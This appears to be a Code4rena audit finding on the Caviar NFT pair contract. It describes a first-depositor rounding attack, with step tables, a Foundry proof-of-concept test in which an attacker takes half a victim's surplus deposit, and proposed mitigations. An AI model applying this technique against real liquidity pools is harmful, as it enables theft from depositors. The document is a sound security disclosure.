Pair contract ratios can be messed up with dust amounts in the beginning

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417-L428

Vulnerability details

Impact

The pair contract ratio can be messed up and lead to large rounding errors. This is a common cause of concern for AMM contracts, and ERC4626 Vault contracts.
The method is as follows:

1. Create a pair contract, and wrap some NFTs to get some fractional tokens (FRAC)
2. Add liquidity in pair contract with 1 wei of base token (BASE) and 1 wei of FRAC. Pair mints 1 wei of LP.
3. Send 1 ETH of BASE and 1 ETH of FRAC. Pair contract now has 1e18+1 BASE, and 1e18+1 FRAC, but has issued 1 wei of LP
4. Victim comes and deposits 2 ETH of BASE, and 2ETH of FRAC. Victim gets minted ONLY 1LP, because 2e18/(1e18+1) = 1 due to rounding.
5. Since victim and attacker both have 1 wei LP each, they both can withdraw half the pool. Victim can withdraw 1.5 ETH BASE + 1.5 ETH FRAC, losing 0.5 ETH BASE and 0.5 ETH FRAC. Attacker gains the same amount.

Action	Reserve BASE	Reserve FRAC	LP totalSupply	Effect
Creation	0	0	0	LP minted to address(0)
Attacker adds 1 wei	1	1	1	1 wei LP minted to Attacker
Attacker sends 1e18	1e18+1	1e18+1	1
Victim sends 2e18	3e18+1	3e18+1	2	Victim gets only 1 wei LP since 2e18/(1e18+1)=1
Attacker redeems	1.5e18+1	1.5e18+1	1	Attacker steals 0.5 BASE+FRAC

This is caused due to the absence of floating point math, where in step 4 only 1 wei of LP is minted due to a rounding error.

Proof of Concept

function setUp() public {
        deal(address(usd), address(attacker), baseTokenAmount, true);
        deal(address(usd), address(victim), baseTokenAmount, true);

        for (uint256 i = 0; i < 5; i++) {
            bayc.mint(address(attacker), i);
            tokenIdsAttacker.push(i);
        }
        for (uint256 i = 5; i < 10; i++) {
            bayc.mint(address(victim), i);
            tokenIdsVictim.push(i);
        }
        vm.startPrank(attacker);
        bayc.setApprovalForAll(address(p), true);
        usd.approve(address(p), type(uint256).max);
        p.approve(address(p), type(uint256).max);
        p.wrap(tokenIdsAttacker, proofs);
        vm.stopPrank();

        vm.startPrank(victim);
        bayc.setApprovalForAll(address(p), true);
        usd.approve(address(p), type(uint256).max);
        p.approve(address(p), type(uint256).max);
        p.wrap(tokenIdsVictim, proofs);
        vm.stopPrank();
    }
    function testDustAttack() public {
        uint256 attackerusdBefore = usd.balanceOf(attacker);
        uint256 attackerfractionalBefore = p.balanceOf(attacker);

        // Start LP
        vm.startPrank(attacker);creating
        p.add(1,1,0);
        // Throw off balance of LP
        usd.transfer(address(p), 1 ether);
        p.transfer(address(p), 1 ether);
        vm.stopPrank();

        // Victim adds liquidity
        vm.startPrank(victim);
        p.add(2 ether,2 ether,0);
        vm.stopPrank();

        // Attacker withdraws LP
        vm.startPrank(attacker);
        (uint256 receivedBaseToken, uint256 receivedFractionalToken) = p.remove(1,0,0);
        vm.stopPrank();

        // Victim withdraws LP
        vm.startPrank(victim);
        (receivedBaseToken, receivedFractionalToken) = p.remove(1,0,0);
        vm.stopPrank();

        uint256 attackerusdAfter = usd.balanceOf(attacker);
        uint256 attackerfractionalAfter = p.balanceOf(attacker);

        assertGt(attackerusdAfter, attackerusdBefore);
        assertGt(attackerfractionalAfter, attackerfractionalBefore);

    }

Tools Used

Foundry // This should never revert with underflow if 1000 wei is minted during creation in the constructor

Recommended Mitigation Steps

The mitigation method is still unclear. Here are some ideas:

1. Uniswap handles this by burning the first 1000 wei of LP minted. This prevents this by making sure the LP always has at least 1000 wei, making the rounding error attack far less effective/impossible. This cannot be used in this case, since burning even a single wei of FRAC means losing an entire NFT in the contract.

2. Shift calculation origin to 1000 wei:
   Instead of having the pair contract start with a balance of 0, make it start with a balance of 1000 wei, or during contract creation, create 1000 wei of unbacked LP tokens and send it to the zero address. Since these can never be recovered, being unbacked isn't an issue. In this scenario:

Action	Reserve BASE	Reserve FRAC	LP totalSupply	Effect
Creation	0	0	1000	LP minted to address(0)
Attacker adds 1 wei	1	1	1001	1 wei LP minted to Attacker
Attacker sends 1e18	1e18+1	1e18+1	1001
Victim sends 2e18	3e18+1	3e18+1	3002	Victim gets minted enough to redeem tokens

This will lead to errors in the order of 1000 wei which should be an insignificant amount. Also the minting logic needs to be slightly changed to recognize the new origin.

function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) {
        uint256 lpTokenSupply = lpToken.totalSupply();
        if (lpTokenSupply > 1000) {
        // Rest of minting logic

This is just a suggestion developed from rough maths. Needs to be tested thoroughly to address edge cases.

3. Use FixedPointMathLib to calculate figures in addQuote and removeQuote. This can get rid of the rounding errors but result in a higher gas cost.

[c4-judge]

berndartmueller marked the issue as duplicate of #442

[c4-judge]

berndartmueller marked the issue as satisfactory